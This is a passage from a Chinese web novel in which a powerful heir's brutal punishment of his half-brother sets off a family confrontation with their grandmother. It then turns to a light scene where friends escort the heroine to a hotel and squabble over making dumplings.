每吐出一个字,喉间便涌上一股腥甜,仿佛要将心肺都咳出来。 黎云笙却连眉梢都未动。 黎云笙缓缓抬手,整理了一下袖口,动作优雅而冷漠。仿佛方才折断的并非血肉之躯的手指,而不过是拂去衣襟上的一粒尘埃。 他转身离去时,步履沉稳如常,仿佛从未在此地留下过任何痕迹。黎远航仍在血泊中挣扎,嘶吼声渐弱,转为断续的呜咽,如困兽濒死前的最后哀鸣。那痛楚与屈辱,在黎云笙眼中,竟真如一场不折不扣的笑话。 老管家匆匆穿过黎家老宅的长廊,脚步急促却仍保持着世家仆役的体面。 他眉间紧蹙,心中满是不安。 往常黎远航宴客,必是通宵达旦,声色犬马,今天却异常寂静。他心下疑惑,又隐隐担忧,这位私生子少爷虽得老太太偏爱,却行事张扬,万一闹出人命……念头刚起,便听得后院传来压抑的呻吟与血腥气。 他心头一沉,加快脚步,推开门的一瞬,扑面而来的腥红景象令他僵在原地。 满地血污中,黎远航蜷缩如虾,十指扭曲断裂,伤口处包扎粗糙,劣质药水浸透的绷带泛着诡异的暗红。 他气息微弱,喉间挤出破碎的咒骂,目光却如淬毒的匕首,死死盯着虚空。 老管家喉头滚动,冷汗浸透后背,他颤声唤人:“快!请医生!不……请最好的医生!”声音在空旷的厅堂回荡,带着颤抖的惊惶。 他深知此事非同小可,不敢耽搁,转身便往老太太的院落疾奔。 晨光尚未穿透云层,黎家老宅仍浸在阴翳中,沉香袅袅的佛堂里,老太太正闭目捻动佛珠,檀香氤氲中,她眉间却凝着化不开的愁绪。 老管家在门外踌躇片刻,终是硬着头皮叩门:“老太太,后院……后院出大事了。” 佛珠戛然而止,老太太睁开眼,眸中闪过一丝不耐。 老管家躬身入内,语气急促却谨慎:“航少爷……他十根手指都被黎云笙少爷安排人折断了!现下人还昏在厅里,伤口用了最劣等的药……”话音未落,老太太手中佛珠“啪”地散落一地,檀木珠子滚落的声音清脆如惊雷。 她猛然起身,身形晃了一晃,老管家忙上前搀扶,却被她一把推开。 她脸色煞白,嘴唇颤抖,指尖掐入掌心,仿佛要捏碎自己的血肉。 第1137章 自有分寸 “你……你说什么?”老太太的声音如被砂纸磨过,带着撕裂的痛楚与难以置信的震惊。 她踉跄着走向窗边,晨风掀起她银白的鬓发,仿佛瞬间苍老了十岁。 “那孩子……那孩子素来嚣张,可再如何也是黎家的骨血啊!”她喃喃自语,声音渐转凄厉,“云笙他怎么下得去这般狠手!十根手指……这是要他生不如死啊!” 她忽而转身,目光如炬,灼灼盯着老管家:“去!把人给我请来!我要当面问清楚,他眼中可还有我这个奶奶,可还顾念半分血脉亲情!” 老管家领命而去,老太太却跌坐回椅中,手抚心口,气息急促。 她想起黎云笙幼时模样,是她一手将他带大,这孩子自小便寡言少语,却极有主见,行事利落,她原以为这是将门之后的魄力,可今日……今日这狠辣,竟如寒刃刺入她心。 “疯了,他真是疯了。”她喃喃着,指尖颤抖地端起茶盏,茶水却泼洒在衣襟上,晕开一片狼藉。 她想起黎远航,那孩子虽出身不正,却是她看着长大的,老太太的偏宠在家族中早已不是秘密。她原以为,自己的疼爱能护他周全,可黎云笙这一击,不仅折断了黎远航的手指,更将她苦心维持的平衡击得粉碎。 还没等到黎云笙来,黎老太太却想要先看一看黎远航到底伤到什么样子。 她也想着黎云笙来了后好好晾一晾他! 省得他真的无法无天了! …… 黎老太太踏入厅堂的瞬间,浓烈的血腥气扑面而来,呛得她喉头一窒。 眼前景象令她瞳孔骤缩,黎远航蜷缩在满地血污中,十指扭曲如枯枝折断,他浑身颤抖如筛糠,冷汗浸透的衣衫紧贴脊背,每一声呻吟都裹着濒死的痛楚:“疼……啊!奶奶……救救我!” 声音嘶哑破碎,仿佛从地狱深渊爬出的哀嚎。 她踉跄上前,脚步虚浮如踏棉絮,老管家慌忙搀扶却被她甩开。 俯身查看时,指尖触到黎远航冰凉的额头,冷汗沾湿她的掌心,那温度仿佛能冻彻骨髓。 走近了却见他双目赤红,血丝密布,面容因剧痛扭曲得狰狞可怖:“黎云笙!那畜生……他断了我的手指!祖母,您要为我做主啊!”嘶哑的嘶吼混着涕泪,他猛地咳出一口血沫,溅在老太太衣襟上,猩红刺目。 老太太喉头滚动,胸口如遭重锤。她颤抖着抚摸黎远航的断指,触到包扎处粗糙的绷带,指尖下的肌肤滚烫如烙铁,痛楚仿佛顺着指尖爬进她自己的骨髓。 她抬头望向四周,血渍如蛛网在地面蜿蜒,空气里腥气混着药水的刺鼻,黎远航的嘶吼声在厅堂回荡,仿佛要将房梁震裂。 她忽觉眼前发黑,喉间涌上一股腥甜,险些晕厥。 老管家忙递上帕子,她攥紧帕角,指甲几乎掐入掌心,声音颤抖如风中残烛:“远航……奶奶在此,一定不会让你白白受苦。” 黎远航却似陷入癫狂,痛楚与恨意将他撕扯成濒兽。 他翻滚在地,指尖触到血泊,痛感如电流窜遍全身,令他爆发出撕心裂肺的嚎叫:“黎云笙!我咒你不得好死!他竟敢……竟敢当着众人的面折断我的手指!奶奶,他这是要踩碎咱们的脸面啊!” 他挣扎着撑起上身,十指断处鲜血渗出绷带,滴落在地面晕开新的血花。 他嘶声咒骂,声音却因剧痛而支离破碎:“那冷血的怪物……他就是个怪物!” 老太太面色煞白,泪珠滚落,却带着刻骨的痛楚。 她咬紧牙关,牙龈渗出血丝,目光如淬毒的匕首,仿佛要穿透虚空刺向黎云笙。 她猛然起身,银白鬓发在风中凌乱,衣袖拂过案上茶盏,瓷杯“哐啷”坠地,碎片溅开:“好个狠毒的畜生!他这是要绝了黎家的后路!” 她转身疾步走向门边,脚步急促却带着颤栗,声音如砂纸磨过:“去!让黎云笙来这里见我!我要问清楚他为什么要这么做!” 黎远航却仍在地翻滚,痛楚与恨意交织成疯魔的诅咒。 他忽而抱住老太太的腿,涕泪横流,声音带着濒死的哀求:“祖母!求您……求您为我报仇!我要他断指之痛,百倍奉还!他敢折我十指,我便要他四肢尽断,跪在我面前求饶!” 他喉间迸出凄厉的嚎叫,仿佛要将心肺都咳出来,鲜血混着涎水滑落,在下颌滴落成新的血痕。 他嘶吼着,十指断处因挣扎再次渗血,血珠如红珊瑚缀在绷带边缘,凄厉骇人。 老太太俯身搀扶,泪眼模糊中,她看见黎远航扭曲的断指,看见他眼中翻涌的滔天恨意,仿佛要焚毁一切。 她忽觉心口绞痛,仿佛被无形的手攥紧。 黎老太太心酸的让老管家赶紧代黎远航去医院进行手术,不然这手就真的要废了! 也不再让黎远航在地上打滚了,已经安排人开车把人送去医院,黎老太太坐在沙发上等着黎云笙,她此刻的心根本静不下来,哪怕是此刻在转动佛珠,心都还是慌的怕的。 等了许久终于听到一阵急促的脚步声,黎云笙踏入时,晨光斜斜映在他身上,玄色西装如墨渊般沉凝,面容冷峻,无一丝波澜。 老太太抬眼看他,目光如刀:“你怎么能做出这种?”声音带着压抑的颤抖,却仍不失威仪。 黎云笙垂眸,声线平静如常:“我自有分寸。” 老太太闻言,胸口如遭重击,眼前发黑。 什么叫自有分寸?折断黎远航十根手指也是有分寸吗! 她颤巍巍指着黎云笙,指尖几乎戳到他面上:“你……你竟这般冷血!那孩子再如何,也是一条人命,你怎能用这般手段!”她忽而哽咽,泪珠滚落,却带着刻骨的痛楚:“你父亲如果还在,见你现在这副模样,怕是要……要气活过来!” 黎云笙眉梢微动,却终未言语。 他转身欲走,老太太却嘶声唤住他:“站住!黎云笙!我还没让你走!你给我解释清楚!” 第1138章 私生子算什么兄弟 黎老太太猛然抓起案上茶盏,狠狠掷向地面,瓷片碎裂的声音尖锐刺耳,“黎云笙,你今日折的不是他十指,是黎家的脸面!是祖宗基业的心脉!” 黎云笙脚步顿住,回头看向黎老太太,声线如淬冰:“答案我不是早就告诉你了?” 他眉梢微挑,眼底寒意凛冽,“他碰了不该碰的人,就该受到惩罚。” 话音落下,空气仿佛凝滞成霜。 不该碰的人是谁?是温栩栩。 黎老太太僵在原地,喉头滚动,千想万想也没想到理由竟如此简单。 只因黎远航碰了温栩栩。 她掌心沁出冷汗,指尖掐入袖口,仿佛要捏碎自己的血肉。 碰了吗?那分明还未触及! 不过是老宅中的一场欺凌,黎云笙竟如疯兽般暴起,断人十指,毫不留情。温栩栩究竟凭什么有这般能耐?她心中寒意如毒蛇缠绕,啃噬着最后一丝侥幸。 她曾以为这孙儿尚稚嫩,可此刻对上的分明是一头蛰伏的猛兽,獠牙森然,稍有不慎便会扑来咬断咽喉。 院外的冷风吹入,掀起她银白的鬓发,寒意直透骨髓。 她忽而惊觉,黎云笙或许早已洞悉她的筹谋,她本打算借黎远航之手,让温栩栩这“祸根”彻底消失,以稳固家族暗流中的平衡。可那孩子竟提前折断黎远航的手指,如斩断她伸出的利爪,让她精心布置的棋局轰然崩塌。 这一念如惊雷劈裂她心魂,她踉跄后退,后背撞上雕花木椅,发出沉闷的声响。 老管家慌忙上前搀扶,她却如坠冰窖,浑身颤抖。 黎云笙的狠辣绝非冲动,而是精密算计后的雷霆一击。 他知晓黎远航的劣性,更猜透她欲借刀杀人的心思,于是以暴制暴,将惩罚化作威慑,既断了黎远航的“爪牙”,又向她展露獠牙。 这黎家的权柄,他攥得比谁都紧。 她喉间涌上一股腥甜,心跳如擂鼓,仿佛要冲破胸腔。佛珠从她颤抖的指尖滑落,檀木珠子滚落一地,发出清脆的碎裂声,恰似她心中支离破碎的掌控感。 她曾将黎云笙视作可控的棋子,自幼抚育他长大,以为恩情与血脉能拴住这头幼狼。可如今狼眸已寒,獠牙已利,她竟成了笼中困兽,被反噬的恐惧扼住咽喉。 “你到底知不知道你在做什么,温栩栩只是一个女人,黎远航是你同父异母的亲哥哥,他只是想要一个女人,你到底为什么要狠到这种地步!”黎老太太疾言厉色,指尖颤抖地指向黎云笙,银白的鬓发在怒意中凌乱扬起。 她双目赤红,血丝密布,仿佛要将淤积的愤懑与惊惶一并喷出,声音如砂纸磨过,带着撕裂的痛楚与质问。 她的身影在光影中摇晃,像一尊被撼动的神像,即将崩塌。 黎云笙眸色淡淡,仿佛凝着一层寒霜。闻此质问,他只是嗤笑一声,:“她是我的人,黎远航不配。”声音轻缓,却字字如钉,钉入在场每个人的耳膜。 黎老太太瞳孔骤缩,喉头滚动,那话语的锋芒同时刺向黎远航与温栩栩,既是羞辱私生子的卑贱,亦是宣告对温栩栩的绝对占有。 她脸色愈发难看,如被泼墨浸透的白绢,阴沉得骇人,盯着黎云笙的眼神带了几分狠辣,仿佛要穿透那层冷漠的伪装,窥见其心底的深渊。 “你把一个上不得台的女人看的这么重要,黎云笙,你这样意气用事,为了一己私欲伤害自己的兄弟,你这样有什么资格继续继承黎家。”老太太的声音如冰锥刺入空气,带着颤栗的威严。 她身躯微微前倾,掌心紧攥佛珠,仿佛要捏碎这失控的局面。 她深知,黎云笙此举不仅折断了黎远航的手指,更碾碎了家族维系多年的体面。 黎云笙抬眸,目光如寒潭,直视老太太。 他喉间涌动一声冷笑,那笑意却如冰层下的暗流,冷冽而危险:“我的母亲只有我一个独子,一个由男性道德败坏出轨得来的私生子算什么兄弟。”声音平静得骇人,却字字如刃,剖开家族最腐朽的疮疤。 厅堂内空气骤然凝滞,唯有他话语的寒意弥漫开来。 黎老太太脸色苍白如纸,唇瓣颤抖,指尖掐入掌心,几乎要渗出血丝。她僵在原地,仿佛被无形的绳索勒住咽喉,连呼吸都成了奢侈。 所有人都知道黎老太太有多疼黎远航,那偏爱如毒藤缠绕,在家族暗处疯长。可偏偏黎云笙此刻就是要对着她说这种话,毫不顾忌地开口,将“私生子”三个字如利箭射出,刺穿她苦心维护的虚伪亲情。 那她这么多年做的算什么?那些偏宠、纵容、甚至暗中扶持黎远航的筹谋,在他眼中不过是一场可笑的闹剧,是腐朽家族自欺欺人的把戏。黎云笙的冷漠回应,如同一面照妖镜,照出她所有伪善的裂痕。 他眼底的寒意愈发深重,仿佛凝着千年不化的冰。 黎家的权杖在他掌心攥得极紧,他深知,这腐朽的家族早已被私欲蛀空,所谓的“兄弟”不过是血脉的枷锁,而他,要亲手砸碎这枷锁。 老太太的苍白面孔在他视线中扭曲。 四周沉寂得可怕,唯有黎云笙的呼吸声清晰可闻。 他转身离去,步履沉稳如常,仿佛从未在此留下过任何痕迹。 而黎老太太仍僵立原地,佛珠从她颤抖的指尖滑落,檀木珠子滚落一地,发出清脆的碎裂声,恰似她心中支离破碎的掌控感。 她咬紧牙关,牙龈渗出血丝,恨意与惧意交织成毒,在胸腔翻涌。这狠辣的孙儿,不仅撕开了家族的疮疤,更将她的尊严踩入泥泞。 黎云笙的背影消失在廊柱尽头,留下老太太如风中残烛。 她忽觉眼前发黑,喉间涌上一股腥甜,踉跄着扶住椅背。 这黎家的未来,仿佛被血色迷雾笼罩,而她这垂暮之人,竟成了迷雾中最慌乱的困兽。 冷汗浸透衣襟,她望着黎云笙离去的方向,那背影如孤峰峭壁,冷峻决绝。 第1139章 阴沟里的鼠辈 他连一句解释都懒得施舍,只以行动宣告,这黎家他说了算。 她踉跄着跌坐回椅中,目光涣散,佛珠碎片在脚下散落如残骸。 黎云笙的“真面目”如寒刃刺入她骨髓,她从未想过,自己竟养出了一头无法驯服的猛兽。 他不再是温顺的幼狼,而是撕碎规则的暴君。 她咬紧牙关,牙龈渗出血丝,恨意与惧意交织成毒,在胸腔翻涌。这狠辣的孙儿,不仅折断了黎远航的手指,更碾碎了她的掌控与尊严。 她忽而冷笑,笑声凄怆如鸦啼。 黎云笙的棋,下得比她更狠、更绝。 他猜到她的计划,于是先发制人,将黎远航变成废棋,同时向她昭示,任何触碰温栩栩的企图,都将付出惨痛代价。这哪里是惩罚黎远航?分明是斩向她脖颈的警告。 她颤巍巍拾起一颗佛珠,指尖却因惊惶而难以捻动。 心悸愈发猛烈,她仿佛听见自己心跳如战鼓,每一次搏动都敲响着权杖倾塌的倒计时。 黎云笙的冷酷,已超出她所能驾驭的范畴,她深知,若再轻敌,这黎家老宅的权柄,终将彻底易主。 她猛然攥紧佛珠,檀木碎屑刺入掌心,痛楚却令她清醒。 惊惶之后,一丝决绝在眼底燃起,猛兽虽凶,可她尚有最后一张底牌。 温栩栩……那人,便是撕开黎云笙的突破口。 她咬唇起身,步履虚浮却坚定,老管家欲搀扶,却被她冷声斥退。佛珠在她腕间颤动,每一颗珠子都似压着千斤重的恨与谋。 成唯几乎是连滚带爬地逃离黎家老宅,鞋底碾过青石板时发出急促的摩擦声,仿佛身后有恶鬼追噬。 在黎老太太出现的那一瞬,他浑身血液凝固,冷汗浸透脊背,连呼吸都成了奢望。 他深知这些大家族的大长辈向来视他们这些演员艺人为蝼蚁,更何况他还是黎远航的人,若让那老太太知晓,自己恐怕也会沦为下一个被碾碎的牺牲品。 那苍老的眼眸里藏着怎样的毒刃? 他不敢想象,只能将头颅埋得更低,仿佛要将自己缩进地缝,逃出那足以刺穿骨髓的审视。 他这次,是真的不敢再多待了。 直到跌进车内,车门“砰”地闭合,隔绝了老宅森严的气息,成唯才真正意识到自己方才的狼狈。 他瘫在座椅上,指尖颤抖着抚过额角冷汗,心跳如擂鼓,胸腔仿佛被巨石压住。 车窗外,黎家老宅的朱红大门渐远,那门檐上雕着的狰狞兽首仍在视野中盘旋,如诅咒般啃噬着他的神经。 他忽而想起自己上车前的最后一瞥,黎远航蜷缩在血泊中的模样,断指处渗出的鲜血如毒蔓在地面蜿蜒,嘶吼声带着濒死的癫狂。而黎云笙的背影却如孤峰峭壁,冷漠得令人胆寒。 那一幕,仿佛将两个世界的权柄对比,赤裸裸地砸进他瞳孔。 他颤抖着点燃一支烟,火星在指尖明灭,烟雾却呛得他剧烈咳嗽。 思绪如乱麻缠绕,他到底是有多愚蠢,才会认为黎云笙只是个才进娱乐圈的艺人? 那清冷的气质、精准的狠辣,分明是浸淫权谋的贵族烙印。而自己,竟将黎远航当作最大的靠山,仗着他的势在圈子里横着走,甚至对黎云笙生出轻蔑。如今回望,那轻蔑如同自掘坟墓的蠢行。 黎远航,那个曾被自己视为“金主”的男人,在黎云笙面前不过是个随时可被碾踩的蝼蚁。 十根手指,不是一根两根……黎云笙竟狠到直接折断全部。 成唯喉头滚动,胃部翻涌着恶心。 他清楚现代医学或许能接上断指,但灵敏度的折损、疤痕的狰狞,足以让黎远航沦为笑柄。更可怕的是,那暴虐的痛楚会如何扭曲一个人的心智? 这对黎远航无疑是一种精神上的折磨。 此刻的黎远航,或许已沦为半疯的困兽,任何靠近他的人,都可能成为发泄怒火的靶子。 成唯科不敢继续出现在黎远航面前了,现在没有恢复好甚至还在众人面前出丑的黎远航很容易会心理变态,如果真的看他不顺眼做点什么,他怕是真的会被毁掉。 “主人心情不好打狗的事也是常有的。”他喃喃自语,声音如蚊蝇般颤抖。 自己这条“狗”,此刻正瑟瑟发抖,生怕被迁怒的狂潮吞没。 黎远航的惨状不仅是肉体上的摧毁,更是精神上的凌迟,被至亲以最残酷的方式践踏,那恨意会如毒藤般疯长,最终吞噬所有理智。成唯不敢想象,若此刻出现在黎远航面前,自己是否会沦为那泄愤的替罪羊。 他猛地掐灭烟头,火星烫得指尖发红,痛楚却令他清醒,必须躲起来,越远越好。 车内寂静,空调冷气吹拂着他的后颈,寒意却顺着脊椎爬进骨髓。他忽而想起黎云笙那淡漠的眸色,仿佛凝着千年不化的冰。 冷汗再次浸透衣襟,成唯攥紧方向盘,指节发白。 他咬紧牙关,牙龈渗出血丝。黎远航与黎云笙的差距,绝非“兄弟”二字所能掩盖。黎远航是私生子,是家族暗处的污点,而黎云笙是正统继承人,是权杖的合法掌控者。 前者如阴沟里的鼠辈,后者如翱翔的苍鹰。 黎云笙的碾压,不仅是力量的悬殊,更是血脉与地位的绝对压制。 成唯喉间发苦,想起自己曾狐假虎威的嘴脸,此刻只觉滑稽又恐惧。 他竟天真地以为,黎远航能庇护自己? 如今看来,那庇护不过是场可笑的幻觉,黎远航自己尚且沦为弃子,他又算什么? 车窗外,霓虹灯影如鬼火摇曳,映在成唯瞳孔里,扭曲成狰狞的幻象。 他深知,这场家族权力之争已化为血色风暴,而他这条依附黎远航的“狗”,必须在这场风暴中寻得生机。 或许,唯一的出路便是彻底消失,让黎远航的怒火找不到宣泄的出口,也让黎云笙的视线不再落在他这蝼蚁身上。 他猛踩油门,车辆如离弦之箭射出,后视镜中,黎家老宅的轮廓终于彻底消失,但那份颤栗与惊惶,却如毒蛇缠身,将他拖入更深的黑暗。 第1140章 他有点吃醋 黎家到底发生了什么事,温栩栩是毫不知情的,她是被盛景炎、许愿还有薛酒一起接走的,回去的路上整个人有些浑浑噩噩。 她整个人像是被抽走了魂魄,倚着椅背,目光空洞地望着窗外飞速后退的霓虹光影,仿佛灵魂仍被囚禁在那座古宅的阴影里。 “栩栩?你还好吗?”许愿的声音轻得像一片羽毛,带着小心翼翼的温度。 她侧身望向温栩栩,眉宇间笼着化不开的担忧。 车内昏暗的顶灯下,温栩栩的脸颊泛着不自然的苍白,嘴唇紧抿,仿佛被无形的枷锁困住,连呼吸都轻得几不可闻。 许愿其实并不清楚黎家老宅内究竟发生了什么,但黎云笙亲自让他们来接人,那必然意味着温栩栩经历了风暴。 她攥紧指尖,指甲陷入掌心,黎家的地位在圈内如雷贯耳,那是盘踞在金字塔顶端的家族,根系深扎,势力如蛛网般笼罩整个商圈与娱乐圈。 而黎家那位出了名的纨绔子弟黎远航,更是圈内的“毒瘤”,传闻他爱玩爱疯,喜好美色不分男女,手段霸道且肆无忌惮。 许愿喉头微紧,目光扫过温栩栩垂在身侧的双手,那指尖微微发颤,仿佛在无声诉说着隐忍的惊惶。 她真的怕,怕温栩栩在黎家老宅遭遇了黎远航的骚扰与伤害,怕那纨绔的脏手玷污了温栩栩的清白与尊严。 温栩栩闻声,睫毛颤了颤,像是被惊扰的蝶。 她缓缓转过头,嘴角扯出一抹苦涩的笑,那笑意却比哭更令人心碎:“我没什么事,只是有些困了。” 说罢,她重新将头抵在车椅靠背上,目光再度放空,瞳孔里没有一丝焦距,仿佛沉入一片无光的深海。 那“困了”二字,更像是逃避的盾牌,将所有的苦涩与惊惶都锁在喉咙深处。 许愿盯着温栩栩蜷缩的姿态,那单薄的身影仿佛随时会被夜色吞噬。 车内寂静得可怕,唯有空调的嗡鸣声在耳边回荡,却压不住她胸腔里翻涌的担忧。 她知道,温栩栩此刻的状态绝非“无事”。 黎家的漩涡,黎远航的恶名,黎云笙的介入……这些交织的线索足以让她拼凑出一个令人窒息的猜想。 但温栩栩不说,她便不能追问,那是她的私事,是刺入血肉的伤疤,而她作为“外人”,没道理逼着人撕开伤口展示痛处,那太无礼,也太残忍。 许愿顿了一下,喉间涌上酸涩。 片刻后,她深吸一口气,伸出手,指尖带着轻柔的暖意,缓缓揉了揉温栩栩的发顶。那动作像安抚一只受惊的小兽,带着无声的温柔与包容。 温栩栩的发丝柔软,却仿佛在颤抖,许愿能感受到她紧绷的神经在指尖下微微战栗。 她压低声音,语气如春风拂过湖面:“那就睡一会儿吧,到了我叫你。” 说罢,她悄悄调了空调的温度,又将车载音乐切换成舒缓的纯音曲目,音符如流水般潺潺淌过车内,试图抚平温栩栩褶皱的心绪。 温栩栩没有回应,只是睫毛颤得更厉害了。 许愿收回手,指尖仍残留着她发丝的触感,那触感却像烫手的余烬,灼得她心口发疼。 她望向窗外,霓虹灯影在玻璃上扭曲成斑斓的幻影,映在温栩栩的脸上,却照不亮她眼底的阴霾。 许愿知道,黎家老宅内的风暴,或许已在她心上刻下难以愈合的裂痕。 她咬住下唇,指甲再次掐入掌心,恨自己不能替温栩栩承受那份苦楚。 真奇怪啊,明明是第一次见面,可就是会很想……护着她。 许愿很轻很轻的叹了口气。 薛酒在一旁盯着看了好半天,抱着手臂哼了一声:“我吃醋了。” 又开始在旁边胡闹了呢。 许愿有些无奈的捏了捏眉心:“你吃哪门子的醋。” 薛酒继续哼哼:“你对我可没有像对她这么有耐心还这么温柔的。” 许愿面带微笑的伸出手捏住薛酒的耳朵:“你再说?不如我先把你送去T国你去做个手术?等你那时候跟我成了好姐妹,我肯定对你更耐心更温柔,怎么样?” “……”薛酒嘶了一声:“错了错了,阿愿姐姐放手吧!” 揪耳朵就算了还要让他去国外做那个手术,简直残忍啊! 许愿见他终于老实了,这才抱着手臂假寐。 盛景炎透过后视镜看到这一幕,挑了下眉,眼底的笑意都要涌出来。 车子一路开到剧组附近的酒店,酒店外还蹲守着数不清的记者,即使今晚墨澜开直播嘲讽了一通,这些记者也没见少多少,一群人海凑在一起,似乎是打算一整夜的守在外面,等着明早堵住他们。 毕竟墨澜已经回来了,所以记者只会比之前更多。 盛景炎看到那群记者脸色也有些难看,这种情况让温栩栩下车,岂不是直接撞枪口给这群记者送菜? 盛景炎皱眉打了一通电话,又在车上等了二十分钟,来了不少警察把人赶走,这才恢复了清净。 许愿打算送温栩栩上去,盛景炎当然是要跟着的,追求者就要有追求者的态度,一定要放低姿态的,至于温栩栩,行吧,那毕竟是韩城的小弟,黎云笙的“爱人 ”,他也可以顺便护送一下。 一直亲眼看到温栩栩进了房间,许愿才终于放下心。 “你好像总是很担心温栩栩。”盛景炎问了句,许愿顿了下,“其实我也不清楚为什么,总感觉见到她就是很熟悉,大概我们上辈子真的是好姐妹吧,就是有一种很想保护她的欲望……” 当然,也不知道为什么会有点讨厌黎云笙,说不上来的感觉。 这个就不用说了,毕竟黎云笙是盛景炎的好友。 盛景炎微笑看她:“我能说我其实是有在吃醋吗。” 许愿:“?”什么? 许愿承认,她是真的有点懵了。 怎么就……吃醋了? 薛酒脸上的笑都已经僵了,凑过去扯开盛景炎:“吃什么醋你吃醋,想吃醋你怎么不去超市买碟饺子买盘醋呢!” 第1141章 你再继续胡闹试试呢 薛酒觉得盛景炎是真没一点数。 你吃醋,你吃什么醋? 跟你很熟吗?才见几面? 他也是男人,盛景炎心理什么想法他能猜不到吗?盛景炎就是对许愿有意思,天塌了都是对许愿有意思! 哦,盛景炎本来也没遮掩。 可恶,这绝对就是见色起意觉得许愿长大漂亮才会起了这心思的! 薛酒整个人都气鼓鼓的,像只炸毛的猫。 此刻他特意挡在两人中间,根本没想移开的意思,甚至看着还有点横,双脚岔开呈防御姿态,双臂环抱在胸前,下巴微微扬起,目光如炬地钉在盛景炎脸上,仿佛要在他身上烧出两个洞来。 他呼出的气息带着少年特有的清冽,却因为气恼变得急促,胸膛微微起伏着,连耳尖都泛着淡淡的粉色,像是被气得。 盛景炎失笑,怎么可能感受不到薛酒对自己的敌意。 虽然薛酒确实各方面都很优秀,但他能感受到薛酒跟许愿之间的感情不是那种男女的感情,他们两人确实有点像姐弟的感觉,弟弟护着姐姐,担心自己姐姐被人骗走好像也很正常,虽然盛景炎不觉得自己不会骗走许愿。 他惬意的抬手做出一副投降姿态,指尖随意地交叠在身前,嘴角噙着若有似无的笑,眼神却明亮如星:“好的,如果你想吃饺子的话……不如一起现包?可以借用这边的酒店厨房,刚巧这边有C市最出名的一款醋,能用来蘸饺子,要来试试吗?” 许愿:“?” 许愿有一瞬间以为自己的听错了。 她微微歪着头,睫毛轻颤,眼中盛满了困惑,像只迷途的鹿。白皙的手指无意识地揪着衣角,嘴唇微张,似乎想说什么却又被突如其来的转折哽住了喉咙。 怎么就突然转到饺子上面了? 这跳跃的思维让她完全跟不上节奏,太阳穴隐隐跳动,仿佛在抗议这无厘头的转折。 “你……”薛酒脸都快要憋红了。他喉头滚动,想反驳却又被盛景炎不按常理出牌的话噎住。那双黑白分明的眸子瞪得溜圆,眉毛拧成两座小山,鼻尖渗出细密的汗珠。 这都什么跟什么,谁要吃饺子了!你自己想吃吧! 他咬着牙,腮帮子鼓鼓的,活像一只囤食的松鼠。 “要吃吗。”盛景炎又问了句,语气里带着促狭的笑意,仿佛故意逗弄他似的。 薛酒咬牙,仰头看他,整个人特别横,像只竖起刺的刺猬:“你亲手包?” 他踮起脚尖,试图在身高上占据优势,那模样反而显得幼稚又可爱。 “那也不是不行。”盛景炎笑吟吟的,显然并不觉得自己动手包饺子有什么不对。 他微微颔首,眼神里闪烁着狡黠的光,仿佛早已看穿薛酒的小心思。 修长的手指轻轻摩挲着袖扣,动作优雅而从容,嘴角的弧度却越发明显,仿佛在说:“你尽管提,我奉陪到底。”薛酒仰头看着他,逆光中的男人轮廓深邃,笑容温柔得让人心慌,仿佛连周围的空气都变得黏稠起来。 薛酒仰头看他整个人特别横:“那你包,我要吃黄花鱼馅儿的,还要槐花馅儿的,最近网络上一直刷到这味道的饺子,我要吃。” 话说的,跟命令似的,尾音微微上扬,带着少年特有的任性。 他挑衅地扬起下巴,目光如炬,仿佛要在盛景炎脸上找到一丝退缩的迹象。 盛景炎没什么意见,毕竟薛酒算是许愿的“弟弟”,当弟弟的为难自己姐姐的追求者那不是很正常的事吗? 他耸耸肩,眉梢轻挑:“没问题,不过黄花鱼馅儿需要剔刺,槐花馅儿得现蒸花蜜,可能需要点时间。” 他边说边转身,动作优雅地推开酒店厨房的玻璃门,金属把手在他掌心发出清脆的“咔哒”声。 许愿都有些无奈想要制止薛酒继续胡闹了。盛景炎倒是并不在意,眉宇之间都还带着明显的笑意,那笑意像是春日里融化的溪水,温润又带着包容。 他斜倚在酒店走廊的雕花木门上,指尖有一下没一下地敲击着门框,节奏轻快得像在哼一首无声的小调。 他好像并不在意此刻薛酒的刁难,又或者说这对盛景炎来说根本不算是刁难。 他目光扫过薛酒涨红的脸颊,又落在许愿微微蹙起的眉间,眼底的笑意更深了几分,仿佛眼前这场闹剧不过是生活中最寻常的调味料,甚至让他觉得……有点可爱。 盛景炎不在意,不代表许愿不在意。 许愿看着此刻胡闹的薛酒,眼皮跟着挑了下,又好笑又无奈。她伸出手,指尖带着点力道,不轻不重地敲了敲薛酒的额头,动作间却藏着纵容。 薛酒捂着额头后退半步,像是被踩了尾巴的猫。 “你再继续胡闹试试呢?”许愿开口。 她说着,又瞥了眼薛酒身后那扇紧闭的厨房门,门缝里还漏出几缕暖黄的灯光,仿佛里面藏着什么诱人的秘密。“想吃饺子,你自己去包。”这话说得轻飘飘的,却像一根细针,精准地扎在薛酒的气焰上,让他瞬间蔫吧下来。 薛酒嗤了一声,嘴角往下撇,眼神里还烧着不服气的火星子,可当许愿循声看过来时,那点火星子瞬间熄灭了。 他蔫吧地耷拉着脑袋,像只被雨淋湿的幼犬,不情不愿地点了点头,连声音都闷闷的:“知道了。” 许愿看着他这副模样,嘴角忍不住弯了弯,眼底的无奈化作了浅浅的笑意,伸手揉了揉他软软的头发,动作轻柔得像在安抚一只闹脾气的小兽。 盛景炎看着实在是有点想笑,笑意从喉间溢出,化作一声低低的轻笑,在安静的走廊里格外清晰。 薛酒看着天不怕地不怕的,可偏偏最怕许愿,还真是许愿说什么是什么。 盛景炎直起身子,整理了一下被倚得微微皱起的西装,迈着闲适的步子朝厨房走去,边走边回头,声音里带着点促狭:“来都来了,不如一起?”那语气像是邀请,又像是笃定薛酒不敢拒绝了。 第1142章 死绿茶男 薛酒都想呲牙了。 他瞪着眼,那眼神像是要把盛景炎看穿个洞,可偏偏又拿他没办法。 这算什么啊,谁家好人大晚上的不睡觉跑去包饺子?像话吗? 他暗自腹诽,手指无意识地绞着衣角,布料在他指间皱成一团,仿佛是他此刻纠结的心绪。 天地良心,薛酒真不会包饺子,他压根就不会下厨,别说做饭了,能把厨房炸了就是好的。 讲道理,谁家不嫌乱,可以买一个薛酒回去给自己家里添乱。 这念头在他脑子里转了一圈,又被他咽了回去,生怕说出来又被许愿敲脑袋。 薛酒还想吐槽一句,偏偏许愿开口答应了。 薛酒一脸憋屈地跟在盛景炎身后,脚步拖沓得像灌了铅,可又不敢真的掉队。 他亲眼看着盛景炎联系了酒店的经理,对方态度恭敬地领着他们穿过长廊,推开一扇雕花木门,门后是间整洁明亮的厨房,案板擦得锃亮,锅碗瓢盆摆放得井井有条,空气里飘着淡淡的消毒水味,混合着若有似无的面粉香气。 